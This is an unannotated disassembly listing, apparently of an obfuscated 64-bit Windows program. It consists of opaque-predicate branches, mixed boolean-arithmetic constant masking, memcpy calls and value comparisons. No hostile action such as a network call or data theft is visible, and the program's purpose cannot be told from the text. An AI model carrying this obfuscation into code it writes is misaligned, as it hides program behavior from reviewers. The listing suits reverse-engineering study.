add rax, qword [rbp + 0x21c8]
mov qword [rbp + 0x21b0], rax
mov rax, qword [rbp + 0x21b8]
mov rcx, qword [rbp + 0x21b0]
movabs rdx, 0xd43aa6fc467bf869
sub rax, rdx
add rax, rcx
movabs rcx, 0xd43aa6fc467bf869
add rax, rcx
mov rcx, qword [rbp + 0x21b8]
and rcx, qword [rbp + 0x21b0]
mov rdx, qword [rbp + 0x21b0]
mov r8, qword [rbp + 0x21b8]
xor rdx, 0xffffffffffffffff
xor r8, 0xffffffffffffffff
or rdx, r8
xor rdx, 0xffffffffffffffff
add rcx, rdx
sub rax, rcx
mov qword [rbp + 0xc08], rax
mov eax, dword [0x140140a14]
or eax, dword [0x140140a18]
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x33e52b15
and eax, 0xcc1ad4ea
sub eax, ecx
mov ecx, eax
xor ecx, 0xb2033583
xor ecx, 0xffffffff
or eax, 0xb2033583
and eax, ecx
xor eax, 0x126ade2c
cmp eax, 0xc7aee90d
jae 0x1400f1995
mov rcx, qword [rbp + 0xc08]
mov eax, dword [0x140140a1c]
xor edx, edx
div dword [0x140140a20]
and eax, 0xd1ccda36
xor edx, edx
sub edx, eax
add edx, 0xf4740163
xor eax, eax
sub eax, edx
add eax, 0x6e84528c
sub eax, 0xc2327eff
sub eax, 0x6e84528c
mov qword [rbp + 0x21a8], rcx
mov rcx, qword [rbp + 0x21a8]
movabs rdx, 0x884fe5b3b19c5d9
sub rcx, rdx
mov byte [rbp + 0x137e], cl
cmp eax, 0x9f00960d
ja 0x1400e26f1
jmp 0x1400ea533
mov ecx, dword [0x140140a24]
mov edx, dword [0x140140a28]
mov eax, ecx
and eax, edx
or ecx, edx
add eax, ecx
add eax, 0x4a75b37c
sub eax, 0x1a8a6e1f
or eax, 0x64e4cb35
cmp eax, 0xae042ebd
jae 0x1400f19c2
mov eax, dword [0x140140a2c]
imul eax, dword [0x140140a30]
and eax, 0x42466f98
imul ecx, eax, 0xd394066
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
and eax, 0x2cf2886b
xor eax, 0xffffffff
mov dword [rbp + 0xbfc], eax
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0xbe8], rax
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0xbf0], rax
lea rcx, [rbp + 0x21d0]
lea rdx, [0x140133c40]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rbp + 0xbfc]
lea rcx, [rbp + 0x21d0]
add rcx, 0x80
mov qword [rbp + 0xc00], rcx
cmp eax, 0x28a32534
jb 0x1400e2787
mov rax, qword [rbp + 0xc00]
mov rax, qword [rax]
mov qword [rbp + 0xbe0], rax
mov eax, dword [0x140140a34]
mov r8d, dword [0x140140a38]
mov ecx, eax
xor ecx, 0xffffffff
mov edx, r8d
and edx, ecx
mov r9d, r8d
xor r9d, 0xffffffff
mov ecx, eax
and ecx, r9d
imul ecx, edx
mov edx, eax
and edx, r8d
or eax, r8d
imul eax, edx
add eax, ecx
mov ecx, 0x28a05fef
xor edx, edx
div ecx
and eax, 0x6b60cce5
imul eax, eax, 0x6258a57b
cmp eax, 0x29e37437
jbe 0x1400f19e0
mov rcx, qword [rbp + 0xbe8]
mov rax, qword [rbp + 0xbe0]
mov edx, dword [0x140140a3c]
imul edx, dword [0x140140a40]
add edx, 0xc341755f
sub edx, 0x4e0ab190
sub edx, 0xc341755f
imul edx, edx, 0x537f5049
sub edx, 0xad1ee945
mov dword [rbp + 0xbd8], edx
mov r8d, 5
xor edx, edx
div r8
mov eax, dword [rbp + 0xbd8]
mov r8, rdx
mov rdx, qword [rbp + 0xbf0]
movabs r9, 0x8c42c5eded8a39fa
sub rdx, r9
add rdx, r8
movabs r8, 0x8c42c5eded8a39fa
add rdx, r8
mov r8, rdx
and r8, 1
shl r8, 1
xor rdx, 1
add rdx, r8
cmp rcx, rdx
sete cl
mov byte [rbp + 0xbdf], cl
cmp eax, 0xe80922fb
jae 0x1400e2875
mov al, byte [rbp + 0xbdf]
test al, 1
jne 0x1400e2927
jmp 0x1400e2b2c
mov r8d, dword [0x140140a4c]
mov edx, dword [0x140140a50]
mov eax, r8d
xor eax, 0xffffffff
and eax, 0xd2966e8a
and r8d, 0x2d699175
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0xd2966e8a
and edx, 0x2d699175
or eax, r8d
or ecx, edx
xor eax, ecx
imul eax, eax, 0xabe68ce
add eax, 0x56e3fe23
mov edx, eax
and edx, 0xa927d20
mov ecx, eax
or ecx, 0xa927d20
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xf56d82df
or eax, 0xf56d82df
imul eax, edx
add eax, ecx
mov rdx, qword [rbp + 0x1360]
mov cl, byte [rbp + 0x137f]
mov qword [rbp + 0x22b8], rdx
mov byte [rbp + 0x22b7], cl
movzx ecx, byte [rbp + 0x22b7]
mov qword [rbp + 0x22a8], rcx
cmp eax, 0xc5b901d
je 0x1400e2927
mov eax, dword [0x140140a5c]
xor ecx, ecx
sub ecx, dword [str.__tCe]
add eax, ecx
mov ecx, 0x99b30f3b
xor edx, edx
div ecx
mov ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x3f2e69ca
mov eax, ecx
and eax, 0xc0d19635
imul eax, edx
mov edx, ecx
and edx, 0x3f2e69ca
or ecx, 0x3f2e69ca
imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, 0xd5b1c0c6
xor ecx, 0xd5b1c0c6
or eax, ecx
movabs rcx, 0xb45ff9718eb339f5
add rcx, qword [rbp + 0x22b8]
mov qword [rbp + 0x22a0], rcx
mov rcx, qword [rbp + 0x22a8]
add rcx, qword [rbp + 0x22a0]
mov qword [rbp + 0xbd0], rcx
cmp eax, 0xf6882eb3
jae 0x1400f19e5
mov eax, dword [0x140140a64]
imul eax, dword [0x140140a68]
or eax, 0xa0151955
imul eax, eax, 0xfd4c9bd2
xor eax, 0xf7855390
cmp eax, 0x3ca22854
jb 0x1400f1a18
mov rcx, qword [rbp + 0xbd0]
mov eax, dword [0x140140a6c]
xor edx, edx
div dword [str.h3_B]
sub eax, 0xda574784
add eax, 0x52d301dc
sub eax, 0x48c5be05
sub eax, 0x52d301dc
imul eax, eax, 0xf45a6379
mov rdx, qword [rbp + 0x22a8]
and rdx, qword [rbp + 0x22a0]
mov r8, qword [rbp + 0x22a0]
and r8, qword [rbp + 0x22a8]
add rdx, r8
movabs r8, 0x7de4d2d4d0e48a61
sub rcx, r8
sub rcx, rdx
movabs rdx, 0x7de4d2d4d0e48a61
add rcx, rdx
mov qword [rbp + 0x2298], rcx
mov rcx, qword [rbp + 0x2298]
movabs rdx, 0x90582728e88b9e92
sub rcx, rdx
movabs rdx, 0xee9fd21ae6e695b3
sub rcx, rdx
movabs rdx, 0x90582728e88b9e92
add rcx, rdx
mov byte [rbp + 0x137e], cl
cmp eax, 0x3c0b14c3
jb 0x1400e2a76
jmp 0x1400ea78f
mov edx, dword [0x140140a74]
mov ecx, dword [0x140140a78]
mov eax, edx
and eax, ecx
shl eax, 1
xor edx, ecx
add edx, eax
and edx, 0xd2a5f18b
mov ecx, edx
and ecx, 0xcb21d0f2
mov eax, edx
or eax, 0xcb21d0f2
xor eax, 0xffffffff
imul eax, ecx
mov ecx, edx
and ecx, 0x34de2f0d
or edx, 0x34de2f0d
imul edx, ecx
add edx, eax
mov ecx, edx
xor ecx, 0xffffffff
mov eax, ecx
and eax, 0x515dc304
and edx, 0xaea23cfb
or eax, edx
xor eax, 0x3bc36152
or ecx, 0x95615da9
xor ecx, 0xffffffff
or eax, ecx
cmp eax, 0x7ba4a31c
jb 0x1400f1a6a
mov r8d, dword [0x140140a7c]
mov edx, dword [0x140140a80]
mov ecx, r8d
xor ecx, 0xffffffff
and ecx, 0xf781a2e
and r8d, 0xf087e5d1
mov eax, edx
xor eax, 0xffffffff
and eax, 0xf781a2e
and edx, 0xf087e5d1
or ecx, r8d
or eax, edx
xor ecx, eax
mov eax, ecx
and eax, 0x2131bb1c
or ecx, 0x2131bb1c
add eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xf6dc80ca
and eax, 0x9237f35
sub eax, ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xaf72acbe
add eax, ecx
mov dword [rbp + 0xbc4], eax
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0xbb0], rax
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0xbb8], rax
lea rcx, [rbp + 0x22c0]
lea rdx, [0x140133d10]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rbp + 0xbc4]
lea rcx, [rbp + 0x22c0]
add rcx, 0x90
mov qword [rbp + 0xbc8], rcx
cmp eax, 0x1965b127
je 0x1400f1a6a
mov rcx, qword [rbp + 0xbb8]
mov rax, qword [rbp + 0xbc8]
mov edx, dword [0x140140a8c]
or edx, dword [0x140140a90]
add edx, 0x94085207
sub edx, 0xea3e810b
add edx, 0xbce2c898
add edx, 0xea3e810b
sub edx, 0xe57fd294
mov dword [rbp + 0xba4], edx
mov rax, qword [rax]
mov r8d, 6
xor edx, edx
div r8
mov eax, dword [rbp + 0xba4]
add rcx, rdx
movabs rdx, 0xd85e15d61618f9ad
sub rcx, rdx
add rcx, 1
movabs rdx, 0xd85e15d61618f9ad
add rcx, rdx
mov qword [rbp + 0xba8], rcx
cmp eax, 0x3019eb6d
jbe 0x1400e2c67
mov eax, dword [0x140140a94]
mov ecx, dword [str.uL7l]
add eax, 0xafb0327b
sub eax, ecx
sub eax, 0xafb0327b
xor eax, 0x811b6f71
add eax, 0xba8aeafb
xor eax, 0xffffffff
and eax, 0x8541bae8
xor eax, 0xffffffff
cmp eax, 0x9e772611
jb 0x1400f1a88
mov rax, qword [rbp + 0xbb0]
mov rcx, qword [rbp + 0xba8]
cmp rax, rcx
jne 0x1400e2e71
mov rcx, qword [rbp + 0x1360]
mov al, byte [rbp + 0x137f]
mov qword [rbp + 0x23a8], rcx
mov byte [rbp + 0x23a7], al
movzx eax, byte [rbp + 0x23a7]
mov qword [rbp + 0x2398], rax
mov rax, qword [rbp + 0x23a8]
movabs rcx, 0x62e7a97a1e65f35
sub rax, rcx
mov qword [rbp + 0x2390], rax
mov rax, qword [rbp + 0x2398]
add rax, qword [rbp + 0x2390]
mov qword [rbp + 0xb90], rax
mov rax, qword [rbp + 0x2398]
mov qword [rbp + 0xb98], rax
mov eax, dword [0x140140aa4]
imul eax, dword [0x140140aa8]
mov edx, eax
and edx, 0x997c5a2e
mov ecx, eax
or ecx, 0x997c5a2e
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x6683a5d1
or eax, 0x6683a5d1
imul eax, edx
add eax, ecx
mov ecx, 0x67488744
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
or eax, 0xc425aa8a
xor eax, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0x3bda5575
or eax, ecx
xor eax, 0xffffffff
cmp eax, 0xaf974057
jb 0x1400f1a8d
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0xb78], rax
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0xb80], rax
lea rcx, [rbp + 0x23b0]
lea rdx, [0x140133de0]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x23b0]
add rax, 0xa0
mov qword [rbp + 0xb88], rax
mov eax, dword [0x140140ab4]
mov ecx, dword [0x140140ab8]
xor ecx, 0xffffffff
add eax, ecx
add eax, 1
mov ecx, 0x5e98fc08
xor edx, edx
div ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xd35851ad
add eax, ecx
add eax, 0xff1552d9
add eax, 1
cmp eax, 0x84e3f168
jb 0x1400f1af6
mov ecx, dword [0x140140b9c]
imul ecx, dword [str.Ps__]
xor ecx, 0x778243b0
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
and eax, 0x6ae7951a
xor eax, 0xffffffff
xor eax, 0x4c4fa6e4
cmp eax, 0x72074519
jb 0x1400e39a0
jmp 0x1400e39da
mov eax, dword [0x140140ba4]
xor edx, edx
div dword [0x140140ba8]
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
or eax, 0x645fae23
xor ecx, 0xffffffff
or ecx, 0x645fae23
and eax, ecx
xor eax, 0xffffffff
add eax, 0xfec05a4a
xor eax, 0xffffffff
or eax, 0x3d7508c9
xor eax, 0xffffffff
cmp eax, 0xded34647
ja 0x1400f1cdf
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0xad8], rax
mov ecx, dword [0x140140bbc]
mov edx, dword [0x140140bc0]
mov eax, ecx
and eax, edx
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0x219bf203
xor edx, edx
div ecx
sub eax, 0xe011be47
sub eax, 0x30c35dd6
mov rcx, qword [rbp + 0x1368]
mov qword [rbp + 0xad0], rcx
cmp eax, 0x182cb497
jbe 0x1400e3a2b
mov rcx, qword [rbp + 0xad0]
mov rax, qword [rbp + 0xad8]
movabs rdx, 0x41630020cb63b10c
add rax, rdx
add rax, rcx
movabs rcx, 0x41630020cb63b10c
sub rax, rcx
cmp rax, qword [rbp + 0x1360]
ja 0x1400eb129
mov ecx, dword [0x140140bc4]
mov edx, dword [0x140140bc8]
mov r8d, ecx
xor r8d, 0xffffffff
mov eax, edx
and eax, r8d
xor edx, 0xffffffff
and ecx, edx
or eax, ecx
mov edx, eax
and edx, 0xf75fe6e0
mov ecx, eax
or ecx, 0xf75fe6e0
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x8a0191f
or eax, 0x8a0191f
imul eax, edx
add eax, ecx
mov edx, eax
and edx, 0xdd38621e
mov ecx, eax
or ecx, 0xdd38621e
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x22c79de1
or eax, 0x22c79de1
imul eax, edx
add eax, ecx
sub eax, 0xb70b050e
cmp eax, 0x84347d89
je 0x1400f1ce4
mov eax, dword [0x140140bcc]
xor edx, edx
div dword [0x140140bd0]
add eax, 0x67ec46cd
sub eax, 0x2e6382
mov ecx, eax
and ecx, 0xb390b025
xor ecx, 0xffffffff
add eax, 0xb390b025
add eax, 1
add eax, ecx
mov dword [rbp + 0xacc], eax
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0xab8], rax
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0xac0], rax
lea rcx, [rbp + 0x2680]
lea rdx, [0x140134050]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rbp + 0xacc]
cmp eax, 0xfe7939ff
je 0x1400e3b2b
mov rax, qword [rbp + 0x26d0]
mov qword [rbp + 0xab0], rax
mov eax, dword [0x140140bd4]
mov ecx, dword [0x140140bd8]
add eax, 0x6c8919e6
add eax, ecx
sub eax, 0x6c8919e6
or eax, 0x159d972f
xor eax, 0xf585daf2
add eax, 0x158393d6
cmp eax, 0x61403201
jb 0x1400f1d02
mov rax, qword [rbp + 0xab8]
mov rcx, qword [rbp + 0xac0]
mov rdx, qword [rbp + 0xab0]
xor rdx, 0xffffffffffffffff
sub rdx, 0xffffffffffffffff
sub rcx, rdx
cmp rax, rcx
jae 0x1400e3de5
mov eax, dword [0x140140be4]
mov edx, dword [0x140140be8]
mov ecx, eax
xor ecx, 0xffffffff
and ecx, edx
xor ecx, 0xffffffff
xor edx, 0xffffffff
and eax, edx
xor eax, 0xffffffff
and ecx, eax
xor ecx, 0xffffffff
or ecx, 0x79900205
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x1aa33134
mov eax, ecx
and eax, 0xe55ccecb
imul eax, edx
mov edx, ecx
and edx, 0x1aa33134
or ecx, 0x1aa33134
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x770ebd8e
or ecx, 0x88f14271
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
cmp eax, 0x78f23a35
jb 0x1400f1d07
mov eax, dword [0x140140bec]
add eax, dword [0x140140bf0]
imul eax, eax, 0xf2912d6d
or eax, 0x77e4e9b3
sub eax, 0x5107281c
mov rcx, qword [rbp + 0x1360]
mov qword [rbp + 0xaa8], rcx
cmp eax, 0x83cf5c80
jbe 0x1400e3c81
mov rcx, qword [rbp + 0xaa8]
mov al, byte [rbp + 0x137f]
mov qword [rbp + 0x14a8], rcx
mov byte [rbp + 0x14a7], al
movzx eax, byte [rbp + 0x14a7]
mov qword [rbp + 0x1498], rax
mov eax, dword [0x140140bf4]
add eax, dword [0x140140bf8]
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x704d9a2c
add eax, ecx
or eax, 0x486c0a68
add eax, 0x9961aca
add eax, 0x2599e384
sub eax, 0x9961aca
cmp eax, 0x79ea3d0d
je 0x1400f1d0c
mov eax, dword [0x140140bfc]
or eax, dword [0x140140c00]
xor eax, 0xffffffff
or eax, 0x65ebc363
xor eax, 0xffffffff
mov ecx, 0x99f56c5a
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0x1306d181
and eax, ecx
movabs rcx, 0xa2b8c5fb67b3336b
add rcx, qword [rbp + 0x14a8]
mov qword [rbp + 0x1490], rcx
mov rcx, qword [rbp + 0x1498]
add rcx, qword [rbp + 0x1490]
mov rdx, qword [rbp + 0x1498]
mov r8, qword [rbp + 0x1490]
xor rdx, 0xffffffffffffffff
xor r8, 0xffffffffffffffff
or rdx, r8
xor rdx, 0xffffffffffffffff
mov r8, qword [rbp + 0x1490]
and r8, qword [rbp + 0x1498]
add rdx, r8
sub rcx, rdx
mov qword [rbp + 0x1488], rcx
mov rcx, qword [rbp + 0x1488]
movabs rdx, 0x92309445c655bf8f
sub rcx, rdx
movabs rdx, 0x730d69dfd5e667ed
sub rcx, rdx
movabs rdx, 0x92309445c655bf8f
add rcx, rdx
mov byte [rbp + 0x137e], cl
cmp eax, 0x5829db0d
jae 0x1400e3d18
jmp 0x1400e5852
mov eax, dword [0x140140c04]
and eax, dword [0x140140c08]
imul eax, eax, 0x44cc575f
or eax, 0xac3bf909
sub eax, 0xe88d3fd4
cmp eax, 0x636dc16a
jbe 0x1400f1dba
mov eax, dword [0x140140c0c]
xor edx, edx
div dword [0x140140c10]
mov ecx, 0xc5cf3a4
xor edx, edx
div ecx
imul eax, eax, 0x2309c2cd
imul eax, eax, 0x30f1847a
mov dword [rbp + 0xaa4], eax
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0xa90], rax
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0xa98], rax
lea rcx, [rbp + 0x2750]
lea rdx, [0x140134120]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rbp + 0xaa4]
cmp eax, 0xbab1d7ce
jae 0x1400f1dba
mov eax, dword [0x140140c14]
xor edx, edx
div dword [0x140140c18]
imul eax, eax, 0x4bd543df
mov ecx, 0xe106778b
xor edx, edx
div ecx
imul eax, eax, 0x37babc89
cmp eax, 0xe1bf1b02
ja 0x1400f1dd8
mov rax, qword [rbp + 0xa90]
mov rcx, qword [rbp + 0xa98]
add rcx, 1
cmp rax, rcx
jne 0x1400e4098
mov eax, dword [0x140140c24]
imul eax, dword [0x140140c28]
mov edx, eax
and edx, 0xd12d5e38
mov ecx, eax
or ecx, 0xd12d5e38
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x2ed2a1c7
or eax, 0x2ed2a1c7
imul eax, edx
add eax, ecx
or eax, 0x9a087e72
sub eax, 0x4bf06b54
cmp eax, 0xbd761627
ja 0x1400f1ddd
mov eax, dword [0x140140c2c]
and eax, dword [0x140140c30]
sub eax, 0x9d21066c
mov ecx, eax
xor ecx, 0xbc589f9e
and eax, 0x43a76061
shl eax, 1
sub eax, ecx
sub eax, 0xef2d096c
mov rdx, qword [rbp + 0x1360]
mov cl, byte [rbp + 0x137f]
mov qword [rbp + 0x2838], rdx
mov byte [rbp + 0x2837], cl
movzx ecx, byte [rbp + 0x2837]
mov qword [rbp + 0x2828], rcx
mov rcx, qword [rbp + 0x2838]
movabs rdx, 0x4daf84c0fc999072
sub rcx, rdx
mov qword [rbp + 0x2820], rcx
mov rcx, qword [rbp + 0x2828]
add rcx, qword [rbp + 0x2820]
mov rdx, qword [rbp + 0x2828]
and rdx, qword [rbp + 0x2820]
mov r9, qword [rbp + 0x2820]
mov r10, qword [rbp + 0x2828]
mov r8, r9
add r8, 1
xor r9, 0xffffffffffffffff
or r9, r10
add r9, r8
mov r8, rdx
and r8, r9
or rdx, r9
add r8, rdx
xor edx, edx
sub rdx, r8
add rcx, rdx
mov qword [rbp + 0xa88], rcx
cmp eax, 0x23a06a54
je 0x1400f1ddd
mov eax, dword [0x140140c34]
xor edx, edx
div dword [0x140140c38]
mov ecx, eax
xor ecx, 0xc2efc91d
xor ecx, 0xffffffff
or eax, 0xc2efc91d
and eax, ecx
add eax, 0x27ec2a96
sub eax, 0x4534116d
sub eax, 0x5c86201a
add eax, 0x4534116d
cmp eax, 0xf9d8bccb
ja 0x1400f1e25
mov rcx, qword [rbp + 0xa88]
mov eax, dword [0x140140c3c]
xor edx, edx
div dword [0x140140c40]
imul eax, eax, 0x86e3f215
mov r8d, eax
xor r8d, 0xffffffff
and r8d, 0xbe02ef5f
mov edx, eax
and edx, 0x41fd10a0
imul edx, r8d
mov r8d, eax
and r8d, 0xbe02ef5f
or eax, 0xbe02ef5f
imul eax, r8d
add eax, edx
add eax, 0xbe3b9f3
mov qword [rbp + 0x2818], rcx
mov rcx, qword [rbp + 0x2818]
movabs rdx, 0xe0335eb917cd0ce2
sub rcx, rdx
mov byte [rbp + 0x137e], cl
cmp eax, 0x218fbfef
jb 0x1400e4018
jmp 0x1400eb06c
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0xa70], rax
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0xa78], rax
lea rcx, [rbp + 0x2840]
lea rdx, [0x1401341f0]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x2868]
mov qword [rbp + 0xa80], rax
mov ecx, dword [0x140140c64]
mov edx, dword [0x140140c68]
xor edx, 0xffffffff
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
xor ecx, 0xffffffff
or ecx, 0x8d4310d9
mov eax, ecx
and eax, 0x9e13248a
or ecx, 0x9e13248a
add eax, ecx
imul eax, eax, 0x4f360a4e
cmp eax, 0xcafc7621
jae 0x1400f1e52
mov rcx, qword [rbp + 0xa80]
mov edx, dword [0x140140c6c]
add edx, dword [0x140140c70]
add edx, 0xdc1f9239
mov r8d, edx
xor r8d, 0xffffffff
and r8d, 0xb82c67c9
mov eax, edx
and eax, 0x47d39836
imul eax, r8d
mov r8d, edx
and r8d, 0xb82c67c9
or edx, 0xb82c67c9
imul edx, r8d
add edx, eax
mov eax, edx
xor eax, 0xffffffff
and eax, 0xa42fafbe
xor edx, 0xffffffff
and edx, 0xa42fafbe
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
and rcx, 1
mov qword [rbp + 0xa68], rcx
cmp eax, 0xce3ef12e
ja 0x1400f1e52
mov rax, qword [rbp + 0xa70]
mov rcx, qword [rbp + 0xa68]
mov rdx, qword [rbp + 0xa78]
movabs r8, 0xa6c4c1c48bfe25bc
add rdx, r8
add rdx, rcx
movabs rcx, 0xa6c4c1c48bfe25bc
sub rdx, rcx
mov rcx, rdx
and rcx, 1
or rdx, 1
add rcx, rdx
cmp rax, rcx
jne 0x1400e434e
mov rax, qword [rbp + 0x1360]
mov qword [rbp + 0xa60], rax
mov eax, dword [0x140140c84]
xor edx, edx
div dword [0x140140c88]
sub eax, 0xabf90ff6
add eax, 0x7bd7fb72
mov edx, eax
xor edx, 0xffffffff
and edx, 0xa8139227
mov ecx, eax
and ecx, 0x57ec6dd8
imul ecx, edx
mov edx, eax
and edx, 0xa8139227
or eax, 0xa8139227
imul eax, edx
add eax, ecx
cmp eax, 0x5b5600a0
ja 0x1400f1e57
mov edx, dword [0x140140c8c]
mov ecx, dword [0x140140c90]
mov eax, edx
xor eax, 0xffffffff
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
or eax, ecx
or eax, 0x802f4be2
mov ecx, 0x8bd3b033
xor edx, edx
div ecx
add eax, 0x546d25d3
sub eax, 0xdc1f51af
sub eax, 0x546d25d3
mov cl, byte [rbp + 0x137f]
mov byte [rbp + 0xa5f], cl
cmp eax, 0xd370a652
jae 0x1400f1e57
mov al, byte [rbp + 0xa5f]
mov rcx, qword [rbp + 0xa60]
mov qword [rbp + 0x2928], rcx
mov byte [rbp + 0x2927], al
movzx eax, byte [rbp + 0x2927]
mov qword [rbp + 0x2918], rax
movabs rax, 0xf7c20735d2ccd664
add rax, qword [rbp + 0x2928]
mov qword [rbp + 0x2910], rax
mov rax, qword [rbp + 0x2918]
mov rdx, qword [rbp + 0x2910]
mov rcx, rax
and rcx, rdx
shl rcx, 1
xor rax, rdx
add rax, rcx
mov rcx, qword [rbp + 0x2918]
mov rdx, qword [rbp + 0x2910]
xor rcx, 0xffffffffffffffff
xor rdx, 0xffffffffffffffff
or rcx, rdx
xor rcx, 0xffffffffffffffff
mov r8, qword [rbp + 0x2910]
and r8, qword [rbp + 0x2918]
xor edx, edx
sub rdx, r8
sub rcx, rdx
xor rcx, 0xffffffffffffffff
add rax, rcx
add rax, 1
mov qword [rbp + 0x2908], rax
mov rax, qword [rbp + 0x2908]
movabs rcx, 0xc64e3278c399dcbc
sub rax, rcx
mov byte [rbp + 0x137e], al
jmp 0x1400eae8f
mov ecx, dword [0x140140c94]
mov eax, dword [0x140140c98]
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
xor ecx, 0xffffffff
add ecx, 0xd57592d0
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x9646fa6a
and ecx, 0x69b90595
or eax, ecx
sub eax, 0x142468b4
cmp eax, 0xefa1f1a1
ja 0x1400f1e5c
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0xa48], rax
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0xa50], rax
lea rcx, [rbp + 0x2930]
lea rdx, [0x1401342c0]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [0x140140ca4]
add eax, dword [0x140140ca8]
sub eax, 0xe95eb79e
add eax, 0x1f275a4f
add eax, 0xe95eb79e
sub eax, 0xe866c721
add eax, 0xb4fca242
cmp eax, 0xdd4247a4
jae 0x1400f1e7a
mov rcx, qword [rbp + 0xa48]
mov eax, dword [0x140140cac]
xor edx, edx
sub edx, dword [0x140140cb0]
sub eax, edx
and eax, 0xa7e95540
xor eax, 0xffffffff
or eax, 0xe8b00d86
xor eax, 0xffffffff
mov edx, eax
and edx, 0x4f11e693
mov r8d, eax
xor r8d, 0xb0ee196c
add eax, r8d
sub eax, edx
mov dword [rbp + 0xa40], eax
mov rax, qword [rbp + 0x2968]
mov r8d, 3
xor edx, edx
div r8
mov eax, dword [rbp + 0xa40]
mov r9, rdx
mov rdx, qword [rbp + 0xa50]
xor r8d, r8d
sub r8, r9
sub rdx, r8
add rdx, 1
cmp rcx, rdx
sete cl
mov byte [rbp + 0xa47], cl
cmp eax, 0x3e5351ef
jbe 0x1400f1e7a
mov eax, dword [0x140140cbc]
xor edx, edx
div dword [0x140140cc0]
mov ecx, 0xca3e50cd
xor edx, edx
div ecx
and eax, 0x6f02971a
add eax, 0xadf2831e
cmp eax, 0x404d8d41
jbe 0x1400e447c
mov al, byte [rbp + 0xa47]
test al, 1
jne 0x1400e44bb
mov eax, dword [0x140140e64]
mov ecx, dword [0x140140e68]
sub eax, 0x4f1bb173
sub eax, ecx
add eax, 0x4f1bb173
mov ecx, 0xda30743f
xor edx, edx
div ecx
sub eax, 0x11b5eb6d
and eax, 0x96d04bdc
cmp eax, 0x74ea668f
jbe 0x1400f21e1
mov ecx, dword [0x140140e6c]
mov r8d, dword [0x140140e70]
mov eax, ecx
xor eax, 0xffffffff
mov edx, r8d
and edx, eax
mov r9d, r8d
xor r9d, 0xffffffff
mov eax, ecx
and eax, r9d
imul eax, edx
mov edx, ecx
and edx, r8d
or ecx, r8d
imul ecx, edx
add ecx, eax
or ecx, 0xf0354c87
sub ecx, 0xeacb7afd
add ecx, 0x12f76f24
add ecx, 0xeacb7afd
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
and eax, 0x5e3a2eb9
xor eax, 0xffffffff
cmp eax, 0xdc6d052d
ja 0x1400f21e1
jmp 0x1400e58f5
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0x930], rax
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0x938], rax
mov edx, dword [0x140140e74]
add edx, dword [0x140140e78]
mov ecx, edx
xor ecx, 0xffffffff
mov eax, ecx
and eax, 0xb11f6cce
and edx, 0x4ee09331
or eax, edx
xor eax, 0x8a3bac7f
or ecx, 0xc4db3f4e
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
or eax, 0xa8a9fab0
xor eax, 0xffffffff
or eax, 0x66fb768b
cmp eax, 0xd9c2c9a2
ja 0x1400f21e6
mov rdx, qword [rbp + 0x938]
mov rax, qword [rbp + 0x930]
xor ecx, ecx
sub rcx, rax
xor eax, eax
sub rax, rdx
add rcx, rax
xor eax, eax
sub rax, rcx
mov qword [rbp + 0x928], rax
